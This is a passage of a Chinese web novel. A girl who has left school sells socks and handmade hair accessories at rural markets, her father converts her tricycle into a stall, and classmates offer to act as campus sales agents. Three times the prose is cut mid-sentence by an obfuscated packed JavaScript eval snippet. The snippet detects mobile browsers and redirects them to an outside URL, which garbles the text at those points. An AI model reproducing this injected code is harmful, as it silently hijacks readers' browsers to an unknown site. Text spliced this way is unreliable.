货架虽然看似简单，但徐大龙直到晚饭前才做好。主体是钢管框架，像是从哪里拆的。搭配一个塑料箱子，分割成三部分，箱子底部，侧边都用了油不包裹，然后四交有固定挂钩，可以将布放里面，然后放入货物。箱子上还有盖子，可以取下来放一边。 箱子上方有一款镂空区，再上就是饰品展示区。一块包裹了深蓝色绒布的板子，板子上有固定好的挂钩，钩子尖很钝，且朝里。 “轮子还是从你们小时候的车上拆下来的。拉起来挺轻便的。” 徐春天对货架很满意。她的爸爸不爱言语，但这段日子以来，她知道爸爸几乎是对她的每一个决定都支持，除了休学。 一夜好眠，第二天清晨，徐春天就直奔场外街集！ 如果说，卖帽子她还算是小试牛刀，没有继续下去。那么这次卖袜子，她可是制定好了对策，就期待在大集上，一展身手！ 15. 抓住商机 陆陆续续有学生从洼地走出来，大家一起说说笑笑，充满了青春气息。看到一张张无忧无虑青春洋溢的脸，徐春天突然胆怯了。 路过的同学们则会好奇的看向她，一个突然冒出来的人，奇奇怪怪的。双方都漫不经心又小心翼翼的偷偷观察对方。 看着学生们陆陆续续走过去，徐春天在心里狠狠骂自己，死嘴咋不说话呢！张嘴啊！ 不过大概是徐春天的幸运日，因为她再人群中看到了两个熟悉的人。 “程颜！” “谭玉！” 这俩是她在火箭班时的同桌和前桌！ 程颜是个有点文静的姑娘，人缘特好。突然听到有人叫她名字，温温柔柔的答应，“哎。”而谭玉是个心直口快性格爽朗的女孩，她直接四处张望，嘴里嚷着：“谁叫我呢？” “这呢！程颜，谭玉，我在这呢！” 徐春天高兴的跳起来。程颜和谭玉看到她都有点不可置信。 “那谁啊？” 周围其他人也寻声看过来，就看到一个漂亮的女孩，穿着米色外套，头上是米白色帽子，浅蓝色牛仔裤包裹着修长笔直的长腿。 眉眼弯弯，莹白的脸庞在太阳下有一种健康的光泽。最重要的是她深表竟然有个热水壶，冒着热气。 “徐春天！哎呀，你怎么在这？程颜，是徐春天啊！” 谭玉嗓门大，嗷嗷几句周围的人人都看过来了。徐春天这个名字，有点耳熟啊。记起来的人就戳戳同伴，“就那谁？前阵子恋爱脑那个……” 程颜和谭玉跑过来拉住徐春天的手，好奇的看着她。徐春天活泼爱笑，说话风趣。现在看来，也没啥变化。 “你咋在这呢？” “我家就在这附近。听我娘说县一中高一的学生去洼地了。”徐春天看着她俩，“你们找到黑匣子了吗？” “昨晚我听到砰的一声，然后就看到一个大火球。没想到是飞机撞了。” 程颜摇摇头，“啥也没找到。”谭玉更是夸张的描述：“让我们一字排开，在麦子地里走了一遍，啥也没找到。累死了。” 徐春天瞅着人们源源不断的向外走，猜测她们啥也没找到。“你们这是撤了？上午着急回去吗？” 程颜摇头，“下午有课，上午就自由活动了。” 徐春天有点高兴，“那正好，说实话，我等在这，碰运气，是有事想请你们帮忙。” “呐，我准备了热水，刚烧开没多久，现在温着呢，估计正好能喝。” “喝点水吧，我还带了杯子，干净的，先用热水烫一下。” “可我没带杯子。” 徐春天指了下三轮车，“当当当当，我准备啦！” 程颜和谭玉对视了下，其实，她们也正想和徐春天聊聊呢。她突然就不念了，到底是咋回事。 二人坐在三轮车上，徐春天提起壶帮她们倒上水，大大方方的说：“你们也知道，开学没多久，我就不念了。” 谭玉立马急切的问，“就是啊，你咋不念了呢？你们不知道，学校里传啥的都有。说你……” 程颜撞了她一下，“不过我们不相信传言。” 徐春天边说边打开零食袋子，里面都是袋装的饼干面包。“给！其实是我爸被车撞断了腿，对方跑了，为了给我爸治病，花了很多钱，欠了债。” 程颜和谭玉都有点震惊和意外，“啊，那叔叔现在如何了？” “好多了。”徐春天很坦然，“你们也知道，我弟弟妹妹也要上学，家里实在困难，我就休学了一年。” 真相竟然是这样！ 程颜抱了下徐春天，“我真不知道。” 谭玉更是气愤：“也不知道谁造谣，我回学校肯定给你澄清。” 徐春天笑了笑，“那我就谢谢你啦。不过我现在摆摊挣钱呢。你们看，这是我自己做的发圈和发卡。” 话真的说出来时，徐春天还是有点不好意思：“今天就像是请你们给提提意见，再就是有这么多同学路过，我也能卖出些去。” “呐！不管买不买的，热水我免费提供，有人饿了，零食自己拿。” 听到她这番话，程颜和谭玉都觉得，徐春天有点励志！ “你真厉害啊，竟然自己摆摊挣钱。你只卖发圈吗？” 谭玉看到发圈和发卡，“都好好看，你这是从哪进的货？” 徐春天笑了，“我现在主要卖纯棉袜子，五块钱三双，十块钱七双，卖的还行。” “你真觉得这些发圈发卡好看呀？”得到认可，徐春天从心里高兴，“这些可都是我自己做的呢！” “你们看，一些是仿照电视剧里的样式，还有些是自己琢磨的。” 程颜和谭玉都比较爱追剧，拿起两三个，“这个水晶发夹，是易天边戴的那种，这个也是。” “还有哈妹同款！” “这个宽边头顶夹，韩剧里就有。” 程颜看到徐春天货架上的价格牌，“春天，你太厉害了，比哎呀呀精品店的样式都多。精品店里一个要买三四块，还有五块的呢。你才卖一块钱一个，是真便宜，不会赔吗？” 徐春天摇头，“都是自己做的，成本低，肯定不会赔钱。” “是啊是啊，春天，我觉得你好厉害啊。这些东西都好漂亮，我都想买。”谭玉拿起几个发卡，对着小镜子戴了起来。 “你喜欢，我送你。你们帮我挑挑，哪些感觉不太行，还能改吗？或者还有什么喜欢的样式？就当我做市场调查了。” 徐春天准备齐全，还拿出了笔记本和笔。 “都说群众的眼睛是雪亮的，我就拜托你俩了。” 谭玉很高兴，她拿起一个发圈，“我觉得这种发圈，你可以考虑用带格格的布，会比纯色好看。精品店里就很多这种。” 说完她拿起自己挑好的发圈和发卡，“春天，我总觉得在占你便宜！” 徐春天拍了下谭玉，“怎么？无功不受禄啊。那你就帮我多叫几个人，热水零食我免费提供，让她们看看我的发圈和发卡，想买就买。” 程颜点头，“我觉得行！”徐春天这里的东西是真好看，价格也便宜。买谁的不是买呢？ 而且，她是真的想帮帮徐春天。 谭玉也是这么想，她更加爽快，甚至有点期待：“哎呀，一想到马上要做的事，我就高兴！” “宋洋洋，你都偷听多久了，还不快过来！” 叫宋洋洋的女生是隔壁班的，也是谭玉的初中同学。“你这么大嗓门干啥？” 看向徐春天，她笑着打招呼：“徐春天，我一眼就认出你了。”徐春天长得是真好看，身材也好，就老符合宋洋洋的审美了。 “宋洋洋？”徐春天对她有点印象，“喝口热水吧，我刚烧开的。饼干，你吃不？这个上面有核桃碎。” 谭玉一把抢过饼干，撕开塞宋洋洋嘴里，“好啦！你吃了饼干，喝了水，赶紧来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889559|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看看发圈和发卡。昨天你不是说想买吗？快看看，有喜欢的不？” “谭玉你强盗啊你？”宋洋洋嘴上这样说着，实际上在看到发圈和发卡后，她还真心动了。尤其是大大的价格牌上清楚的写着：“发圈一元一个，发卡五毛一个。” “这个珍珠一字夹，有点像冷清秋戴的那款！我早就想买了，精品店里里卖三块！” 三个女孩热热闹闹，不一会儿，徐春天就发现，她有点低估这三个人，她们真能折腾啊。 “免费热水！免费零食！” “超好看的发卡发圈，发圈一块，发卡通通五毛啦！” “走过路过不要错过！” …… 气氛一下子热闹起来，路过的女同学们大部分都会过来看一下。大家不是认识，就是面熟，都在一个楼层上课，一个食堂吃饭，还住在同一个宿舍楼。 有些人是想着去村里小户人家讨口水喝，既然路边有免费热水，干脆也停了下来。 和徐春天同班的几个男同学，喝了水后，对烧心壶感兴趣。烧水常见的水壶不是这样的，这东西许多人家都没有。他们竟然在一旁烧起水来。 学生们大多数单纯可爱，又热情又活力。一些人还特意问了徐春天的情况，得知她休学的原因，还有现在正在赶集摆摊时，心里隐约都有点佩服。 看吧，长得这么漂亮的女生，并没有恋爱脑，嫁人换彩礼。反而是放下面子，去大集上摆摊。 许多信了学校谣言的人，心里也有点愧疚。人家清清白白的，那么离谱的谣言，他们还真信了。 发圈和发卡卖的也不错，主要是真挺好看的，价格太便宜了。学生们大多数也是村里的，手里零花钱也不多。有人听说徐春天还卖袜子，都想从她这里买。 “袜子我这没带。” “去学校？” “太远了，我上午赶集，下午还要学习。” 谭玉一把扯住徐春天：“哇，你还坚持学习！” “是啊，我是想着，去参加学期末考试。要是成绩好，我就读高二，继续和你们做同学。要是成绩不好，我就留级。” 程颜鼓励徐春天，“你一定可以的，明年我们高二见！” 徐春天点点头，“嗯嗯！我努力，我会非常努力！” 一旁的宋洋洋默默的叹了口气：“唉！看来我也要好好学习，你们都这么卷，万一，春天在家里学习，考的比我高，李老师还不知道怎么损我呢！” 李老师是她们的班主任，一个年纪轻轻的女老师，外号才女。她说话风趣幽默，特别关心学生，也是她给徐春天争取了参加高一期末考试的机会。 其他人听了心里一紧，也有了危机感。回去后李老师发现孩子们学习氛围更浓了，心想出去找了趟黑匣子，咋还都好学起来了呢。 大多数同学喝了水，没好意思吃零食。实在有点饿的，就吃了块饼干，发现还挺好吃。得知是大集上买了，心里有点失望。她们可没有时间去赶集了。 今天徐春天收益满满，好几个同学跑来和她说，现在流行韩剧港台剧，再就是发圈的布纯色不太好看，可以用格格的。夏天的时候，学校里有个女生，把蓝白床单做成裙子，在全校各色裙子里脱颖而出，超级拉风。 同学们陆陆续续都走了，只程颜她们和几个男同学留到最后。一个男生磨磨唧唧的问徐春天，“哪个，徐同学，有个事，想问问你？” “你招代理吗？” 17. 潮流同款 摆摊最初，徐春天还真不知道不习惯讲价环节，甚至在最初定价的时候，就直接定了心里价位上的最低价，根本没有留还价的余地。 帽子围脖是搞买的多便宜，属于自动降价，还降的不少，所以讲价的人比较少。卖袜子满十块加一双，还送本草稿纸，也很少有讲价的烦恼。 可发夹不同。没人会一把一把的买，都是单独售卖，这样就有了讲价空间。 “这么个小孩带的发卡，哪里值五毛钱了？比大人的都贵！” 实际上，小孩的发夹比大人的做起来更麻烦，徐春天却卖一样价格，本来就挣的少。 她笑着拿起镜子，将发夹在小孩头上一比划，镜子里就照出天真可爱的小脸蛋。 “多好看啊！这发夹做起来比大人的更麻烦。单独做了包边处理，用料也是好的，小小一个，做工更加精细。卖五毛，也就挣个辛苦钱。” 小孩的奶奶不相信，嘴里说着给孩子买糖葫芦走了。徐春天也不生气，习惯了。没想到等了一会儿，小孩奶奶带着小女孩又回来了。 “哎，孩子喜欢，不买不干，就给她买几个吧。”小孩手里拿着一根糖葫芦，眼巴巴的看着奶奶挑了三个发圈和四个发夹，等奶奶掏钱，她才喜滋滋的舔了口糖葫芦，高兴了。 徐春天发现，大多数带孩子来赶集的，都舍得给孩子买吃的，可当买发圈发夹时，就犹豫起来。而当她陆陆续续卖出一些发卡发圈后，反倒是引来了一些人。看到其他小孩戴了，就觉得自己孩子也不能少。好几个人都说已经回家了，看到别的小孩戴了好看，自家孩子嚷着要。 那只兔子，几乎快成了徐春天摊子的代名词！“有兔子的摊，兔子？真是兔子哎！！” 等十一点半左右，徐春天估摸着常屯中学快放学了，就赶紧重新调整头饰发夹。 将装有儿童发夹的箱子和那只兔子都搬到摊案另一边，让她娘孙兰清看着点。徐春天将另外两个箱子打开，分别放上价格牌。 发圈发夹，一元一个！ 展示牌上写了几行字：明星同款！粉红女郎，金粉世家同款发卡！ 韩剧同款发圈发卡！ 她还摊位上放起流行歌曲，《暗香》《遗失的美好》《一辈子的孤单》《东风破》《说爱你》等等，放完两首歌，徐春天就招呼一句明星同款发夹。 徐春天是真用了心思，宣传效果也很明显，让她直接在大集上凸现出来。本来中午了，大多数都回家吃饭，许多摊位的人流高峰期也过去了。像李艳就已经开始吃饭，收收尾，差不多一点多就散集。 其他卖衣服卖鞋等的摊位也差不多生意冷淡，卖肉卖菜的几乎都卖的七七八八，剩下的便宜点卖掉。就是一些买零食，包子，炸货，水果等摊位还比较热闹。 卢慧是常屯中学初三的学生，中午一放学，她就和同学直奔大集。 学校里的饭不好吃，今天是集，她和同桌王又又约好了，稀奇去集上买包子和炸货吃。 俩人刚进大集，就听到隐约的歌声，脑子还没反应过来，卢慧已经哼唱出声：“我始终带着你爱的微笑……” “这什么歌来着？”王又又也跟着哼唱几句，“老熟悉了！” “是《遗失的美好》，就那个电视剧《海豚湾恋人》中的歌。” 俩人都很爱追剧，这个剧播出的时候，天天讨论剧情。 “放歌的肯定也追这个剧。” 卢慧心里想着，等走的近一点，她就看到一只扎着冲天辫子的长毛玩具兔子，耳朵上还夹着许多五颜六色的夹子。 摊位前已经围了三五个同学。那几个女同学兴奋的挑选，还不时说着：“竟然真的是同款哎，一模一样。” “是看起来一模一样，不过电视上的估计是真的钻石。” “那还用说！钻石多贵啊！这个才卖一块钱一个。我觉得比学校里卖的好看。” “对对对，学校里这种戴钻的，卖的还贵呢。” 卢慧和同桌对视了一眼，默契的走过去，首先看到的就是招牌，明星同款！这时候就听到歌也换下一首，熟悉的旋律优美动听，是《一个人的孤单》。 摊上的发夹样式多样，卢慧一眼就看到易天边经经常戴的头顶发夹。她真的很喜欢，可是又不太敢带出来！王又又悄悄说：“我觉得哈妹的同款也好看。”“还有冷清秋那个同款蝴蝶发夹，这个还加了钻呢。” 俩人是拿了看，对比来对比去，最终还是各自买了几个发圈和发卡。卢慧终于买下了易天边同款，“我不上学的时候戴。就是不戴，看着也觉得好看。” 散集后，徐春天终于尝到了卖发饰的甜头。今天她的儿童发饰和明星同款都开张了，而且卖的不错。 要说常屯集大有大的好，但也有大的不好。比如，集上有人直接来着三轮车，拉了好多袜子棉拖卖！价格超级便宜，好多人围着买，孙兰清都去买了两双。一双给徐大龙，一双给徐春天。 一个东西卖的好，很快就会有些人跟风，其他小摊如雨后春笋般冒出来。比如帽子围脖，这次集上就有人摆了个小摊，甚至卖东西的套路都和她差不多。 对于这种情况，徐春天早就想过了。她的想法就是变，不停的推陈出新。 散集后，徐春天没有直接回家，她去乡里卖电动三轮车的店里转了转。现在已经有电动车，电动三轮车。只是价格比脚蹬三轮车贵不少。徐春天是想着，大冬天骑车子真冷啊，她真想买个电三轮。 店里货不多，老板说电三轮还挺贵的，他店里这几辆都七八千。这个价格，徐春天心里暗暗想，是真贵啊。 她现在还买不起。 每晚七点有新闻联播，电视里几乎每个台都在播新闻。徐家人吃饭就会当做背景音，偶尔也看看。只为了能在新闻联播结束后，及时看天气预报。 “春天，天气预报说明天降温，还有大风，后天下雪呢。” 孙兰清也算赶俩集卖东西了，天冷了站在那卖东西真受罪。说真的，在集上也不好多喝水， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889561|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上错厕所都没有地方。 “没事，我装备齐全着呢。明天大寺集，也不算远。后天下雪我正好在家休息。” 冬天啊，最冷的就是刮风天。冷风吹的脸生疼，有时候一阵风迎面吹来，都没法呼吸。 徐春天庆幸她们这是平原，路上即便有坡，也不高。若是刮风天骑车子上坡，遇上大顶风，徐春天绝对会罢工。 然而第二天，徐春天觉得自己还是太乐观了！ 寒风呼啸，那声音划破空气，就跟闹鬼似的，有一种青天白日鬼哭狼嚎的感觉。风也是鬼精鬼精的，但凡有点缝，它仗着自己可以随意变形，就钻顺着缝钻进去！ 徐春天真的是服了。 等她到了集上，才发现集上人真少啊。赶集买东西的还不如卖东西的多呢。 等到九十点，太阳也从云层里出来了。徐春天才觉得暖和了点。集上人依旧稀稀拉拉的，但是对面新修的寺庙小院，现在据说改名叫大寺村小院，院子里人不少。 许多上年纪的人带着马扎就坐南墙根底下，晒着太阳聚在一起聊天，或干脆不说话，就那么坐着。徐春天有时心生羡慕。 大寺集卖的一般。到了下午，天就阴沉下去，风更是呼啸着，嚣张起来。吹的门窗桄榔作响。 徐春天在在屋里安静的学习。学累了，她也会读闲书换换脑子。比如《红楼梦》，她很喜欢里面关于各种食物的描述，只看文字就能引起食物，恨不得按照书上的方法做出来。 她也喜欢书里的诗句，深深体会到文字的奇妙。都说《红楼梦》是四大名著之首，在清朝还是本禁书，虽然徐春天看不出它为何被禁。 孙兰清她们还看过《红楼梦》电视剧，说是老好看了，徐春天也挺想看的。 不过，新电视在前面新房子，孙兰清和徐大龙的房间里。徐春天这个屋里只有个黑白十四寸的电视机，都没有插线，不能看电视，但可以连上游戏机打游戏。 徐大龙拿着工具慢悠悠来到后院。“春天啊，爸想着给你做个棚子，把车头这里罩起来，就是刮风下雪也没事。你觉得咋样？” 看着徐大龙满怀期待的眼神，徐春天认真的想了下，“爸，你这个想法提醒了我。加个罩子可太好了。今天赶集路上我都被风吹坏了。” 她走到三轮车旁，想到自己前世夜市上看到摆摊小车，好多都是自己改装的。改装后看起来简洁大方，能拉很多东西，最关键的是还不用每次摆摊收摊。 “爸，我想把三轮车改装下，就把车斗改和摊案结合起来。”徐春天认真回想了下那些小车的样子，认真的和徐大龙描述。 徐大龙是个典型的手艺人，听到闺女的描述，他脑海里也有了想法。作为一个木匠，家里各种工具都有，像电锯，刨子，墨斗，钳子等等。 他推着车子，“春天啊，你学习吧，爸把车子推前院去，趁这两天你不出摊，爸肯定给你改装好。” 看徐大龙一副信心十足的样子，别说，徐春天还挺期待呢！ 18. 改造成功 《红楼梦》中林黛玉她们的诗社作诗，没读太多书的王熙凤第一句就是，一夜北风紧。 徐春天不会作诗，但觉得这句很不错。一夜北风紧，夜风呼啸了一整晚。早上开门，虽然没看到雪尚飘，但她也被铺面而来的冷意给冻着了。 “这天咋说降温就降温呢？春天啊，你要不穿上棉袄吧。”孙兰清在小门出招呼，“棉袄给你放炕头上煲着了。” 徐春天套上棉服就冲去了前院。炕上的小碎花红棉袄还挺好看，今天新做的，里面絮上新棉花压的瓤子，穿起来轻巧，蓬松，却是非常暖和。她觉得比羽绒服都好。 徐春雨穿的是粉色花棉袄，头上戴了三四个发夹，整个人美滋滋的。“姐，我跟你说，哥哥他不穿棉袄！娘说他是爱美不穿棉。” 爱美不穿棉，冻死不可怜。家里有上初中的孩子，这话就会常说。小孩上了初中，进入青春期就有了爱美之心。徐春河还坚持自己洗衣服和袜子，白色袜子恨不得天天洗，就怕孙兰清洗的不干净。 到了冬天，上身里面就穿个秋衣毛衣，然后穿棉服外套，腿上也是坚决不穿棉裤。幸亏今年徐春天卖帽子围脖还有手套，徐春河自己就留了三四套。 徐春天好笑的看着徐春河，眼珠一转，计上心来。“春河，要不这样，你帮姐宣传宣传姐的发卡发圈，袜子也行。要是能卖出一百块，姐就自己添钱，去县城进货时，给你买件羽绒服，怎么样？” 徐春河本来对妹妹和姐姐蛐蛐他有点生气，但听到姐姐的提议，他心动了。其实不穿棉袄也冷，他又不傻，在家里肯定穿。可自家做的棉袄棉裤穿上实在是太臃肿，同学们都不穿。 “姐，那你可说话算数。”他可是知道，羽绒服很贵的，便宜的也要二百吧。 “姐，我也要。我让我同学也买。”徐春雨急得跳起来。 “不行，你还是小学生，同学们也都没有钱。”看着徐春雨失望，徐春天摸摸她的头，“呐，哥哥成绩好，嗯如果期末考试，能进步几个名次，姐姐我给你买！” 徐春雨兴奋了，“姐，放心吧，我肯定好好学，考第一，啊不，考进前十。” 热闹过后，家里又恢复平静。只偶尔听到叮叮当当的声音，从东屋偏房传来。 还没到中午，天空就开始飘起小雪花。雪花小小的，不注意根本看不见，还没等落地，就化了。 “下的小雪沫沫，也不知道能不能下起来？”孙兰清站在家门口向后张望了下，见路上还没有积雪，就放心了。小学快放学了，她得准备做饭。 村里小孩都是就近入学。徐春雨的就读的小学就在隔壁村，走路连五分钟都不用。 中午家里做了白菜汤，白菜是冬季饭桌上最常见的菜。白菜汤里放豆腐或者粉皮粉条，即便是什么也不放，徐春天也觉得挺好吃。 下午，雪停了一会会儿，随即又下起来，越下越大，漫天的飞雪，洋洋洒洒，一会儿地上就白茫茫一片。 都说大雪无声，徐春天坐在窗前，却仿佛听到大雪落地发出沙沙的声音。天地之间，仿佛只有雪。大雪可以覆盖掉一切。 孙兰清念叨着下雪对麦子好，老话说瑞雪兆丰年嘛。徐春天也觉得下雪挺好，她回看自己摆摊路，一切仿佛被推着走，有时候走的太急，她总是忘记思考。 她现在挣钱的速度，还是太慢了，也不稳定。不是说摆摊不好，而是她给自己只有一年的时间。最初，她还是想着摆摊挣钱，能挣多少是多少。可现在，她尝到了挣钱的甜头。她希望，挣钱的事，可以更长久，更稳定。 所以，代理，她觉得行。袜厂拿货，也是有条件的。如果不是刘姐介绍，再加上她量不算太少，根本没有资格。 想通了后，徐春天内心轻松了不少。看着院子里的学生已经走了一层，洁白的雪上，没有一点点印记。顽皮的小黑也只是趴在狗窝里玩耍。 “春天，过来看看！” 徐大龙再小门口招呼她。“三轮车我改的差不多了，你来瞅瞅！”他的兴奋溢于言表。 徐春天再一次被自己老爸的手艺惊艳到。哎吆，她的老爸简直全能。 普普通通的一辆脚蹬三轮，在徐爸的手里，完全大变样。车座上有了顶，就像是一把伞，可以遮风挡雨，两侧是用塑料布缝制的车门，安装了拉链，人坐在车里，将拉链拉起来，还挺暖和的。正前方特意留出一块空间，正看不遮挡视线。 “咱家也没有大玻璃，安装了也怕不结实。你到时候骑慢点，也不会灌风。” 徐大龙近最大可能确保了罩子的安全和实用性。车斗处的设计就更用心，直接车斗变车厢，钢架支撑，四周围起来。车身只有一侧门可以打开，打开后正好展开。 徐春天忍不住哇了一声。车厢内部都装了钢丝网，搭配挂钩，正好可以挂头饰和袜子。车尾部的门也可以展开，整天展开，原本一米半长的三轮车，能达到三米长。车斗上有个挡板，可以抽拉出来，露出车斗原来的样子。挡板支撑上架子，就和车斗连为一体，类似于货案。 “爸，你也太厉害了吧！”徐大龙笑了笑，“这个车要是电动的就好了，那样你不用费劲蹬车子。” 徐春天信心满满，她敢说，自己这辆小货车，绝对是所有集上最独一无二的存在。 “放心吧，明年我就买辆电动的车！” 她心里已经想好了怎么装货。展开的车门肯定是用来挂头饰。底层挂小孩的。上面按照价格挂。头饰也不能只有一种价格，这样完全没有对比，容易压价，卖家也难产生购买冲动。 卖袜子依旧是她的主业，所以整个车斗及正中间的车厢肯定是袜子区。袜子样品挂起来，其他袜子都放车斗里。拉开的挡板上上，她计划放普通袜和草稿纸，而车尾部车厢上，她打算进点价格更好的袜子。特别是女士袜和儿童袜。 “春天，我还给你裁了块布把车顶给遮住，还垂下一块。”孙兰清小心翼翼的拿出她做的东西，“我看电视剧里，那个人家卖东西的车上，还都有个招牌。我也就做了个。” 徐春天看到这块布眼前一亮，米白色的底，若是上面用红线缝上字，好看又显眼。若是想换了，还能拆了重新缝。 “娘，你能用线在这上面缝字吗？” 快六点的时候，徐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889562|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家已经准备吃晚饭了。这时候家里电话响起来。 “春天，快来接电话！” 原来是陈一帆！ 徐春天看着接着电话，忍不住思绪翻涌，她家是今年才安装了座机。这电话还不是她家开户，是邻居家的号，今年邻居一家人都出门打工，就把座机号转给了自己家。 只是电话号码她上辈子记得太熟悉，即便是后来有了手机，她都没怎么记住自己的手机号，反而是家里的座机号，下意识脱口而出。 “喂，徐春天你在听吗？你觉得咋样？” 徐春天回过神，“你说啥，我刚才没听清楚。” 陈一帆表示下雪了，他周末回不去，而且，他有个兄弟也要一起干。“你来县城进货时，咱们一块聊聊？” “行，我下周四去进货。到时候中午吧，我在校门口等你。” 雪下到半夜就停了。第二天是场外街集，徐春天早早做好了准备。 雪后天气更冷，是真的降温了。徐春天体会到了新车的好处，她只需要打开车门，拉出挡板并支撑好，就可以迎客了。 车身上沿的招牌上，就四个字：袜子，头饰。那只玩偶兔子放车顶上。以至于后来那大家都说，去有兔子那家！ 车斗侧面，也就是小车正对着顾客的一面，徐春天把家里浅绿色桌布放那，作为招牌，好看又显眼，正好遮住车轮子。 上面写着袜子厂家直销，五元三双，十元七双。潮流头饰，一元一个，儿童时尚头饰，五毛一个。 产品名称和价格，清晰明了。招牌大而显眼，最主要是整个集上都没有这样的摊。太有特色了！人们觉得在这个摊上买东西，也舒服。 其实，徐春天也是用心了，小车的高度，正好方便大家站着挑选。如果是把东西摆地上，人们还需要弯腰。向雪后，集上到处湿答答的，有积雪，人走多了还有泥。蹲下不方便，还容易弄脏衣服。 总之一句话，用了心了，就会有收获。即便是天冷路滑，徐春天的袜子依旧卖的不错。而她的摊子，彻底让人们记住了。 周四，她与孙兰清各自骑车去了县城。她现在每集能稳定400-600双袜子。她打算这次多进些种类和款式。再就是做头饰的材料，她计划多买些。 一中门口，那种白蜡树叶子还是掉光了。徐春天等在门口，静静的看着校园。 学校一点也没有变，只有里面的学生，一茬一茬的换。校门口卖烤地瓜的大爷，卖肉夹馍的大姨，让她都有亲切感。记得现在学校新餐厅还没建好，校内水房旁边就有卖饭的。中午她一般会买两个盒子吃，顺便打一壶热水回宿舍。 清脆的铃声打断了徐春天的回忆，没一会就看到学生们从教学楼里涌出来。走读生自然是骑车回家，住宿的结伴同行，或者回宿舍，或一起去校外买饭吃。 等了一会儿，徐春天就看到陈一帆。实在是她记性好，眼神好，只要是曾经见过的人，她都记得。 比如，和陈一帆同行的那个少爷，他怎么来了？ 徐春天自认大气，也没把这人当回事。可算是他想与自己合作，她不同意！ 19. 代理约定 “徐春天，你好，又见面了。”陈一帆性格开朗，笑着打招呼，接着拉过身边的同学：“这是我同学，李亦航。” 李亦航大概是记忆力不太行，也或许是徐春天天冷捂得比较严实，他露出一个有点讨好的笑容：“徐同学你好。” 徐春天心中纳闷，这人怎么变性了？ “你们好。去对面小饭馆吧，边吃饭边说，别耽误你们下午上学。” “那个，徐同学，李亦航家就在那。”陈一帆指了下学校大门北侧的胡同。 “嗯？”徐春天并不太想去陌生人家里。 陈一帆赶紧解释：“小饭店这个点人特多。李亦航家没人，站在就我们几个同学住。” “那行，我骑车过去。” 陈一帆方才就注意到这辆车了，停在烤红薯大爷旁边。他可以明显的看出来，这是一辆改造车。因为透过车头，他看到车把上的彩色毛线小兔，还有皮棉车把，和徐春天三轮车上的一模一样。 “徐同学，你这车子谁给改装的啊，真不错。” 徐春天也得意，改装后的车拉货更多，锁上车门，还不用担心丢货。“我爸爸给改装的。它不仅是车，还是我的移动摊位呢。” 说话间，三人就到了巷子口，拐进去第一家就是李亦航的家。这条巷子位置很好，尽头是一中校园的后门，从后门进入就是学校的餐厅，宿舍楼和操场。巷子北都是城中村村民的平房，另一面就是学校的院墙。从李亦航家就可以看到学校的教学楼，老师们的办公大楼。 陈一帆自认和徐春天比较熟，就主动介绍：“亦航家没别人，他爷爷生病了，就被姑姑接走了。家里就他自己住。你也知道，学校宿舍条件差，晚上很冷，我和同学就租亦航家的房子。” 李亦航默默的打开门，等徐春天把车子推进小院，他就已经摆好碗筷，指了指电饭煲，“那个，你俩洗洗手吃饭吧。我早上专门做了焖饭，一直温着呢。” 这家伙，家庭条件不错啊。 徐春天环顾了下小院，就是很普通的民房，院子比村里的小，地上铺了砖，院里啥也没有种。正房四间，西边偏房两间。其他没了。 腊肠闷饭，米饭晶莹剔透，还放了土豆。徐春天直接拿出四双袜子。依次摆开，“陈一帆，你看一下，这是样品。我按照你说的，单独进了运动款男娃，色彩不花哨，耐穿。这四双袜子，白色的最便宜，含棉少一些。其他都是纯棉袜，那双灰色最贵，摸起来更加厚实。你们自己感受下。” 陈一帆和李亦航没想到徐春天如此直接，俩人也就直接对比起来。陈一帆家里虽然是村里的，但能出来租房住，肯定是家庭条件还行。 他自己穿的袜子，就是纯棉的，不过感觉没有徐春天的好。但比那双白色的差。因为袜子是他娘买的，他还特意问过价格，是二块钱一双。 李亦航情况特殊，他家条件以前很好，现在很差。所以他穿的袜子还是以前家里给买的。 “我觉得灰色的这款，在学校不好卖。”他们是学生，袜子不用穿多好，有钱还不如多买点饭吃。 陈一帆也认同。他自己觉得那双白色袜子就不错。当然如果纯棉袜十块钱七双，他绝对买纯棉。 徐春天点头，验验货，那就可以谈钱了？ “我上次说过，纯棉袜五块钱三双，十块钱七双。白色这种普通袜，一块钱一双。” 她看向陈一帆，“你确定这个校园代理你俩要一起做？” 陈一帆点头，“嗯嗯，你也知道，我不想让家里人知道这事。你上次电话里说了两种方案，我们出本钱买自己卖，或者我们不出钱替你卖拿提成。我自己钱不够，正好亦航手里有点钱。这样我俩一起就可以选择第一种方案，多挣一点。而且货也可以放他家里，同学们来卖袜子也方便。” 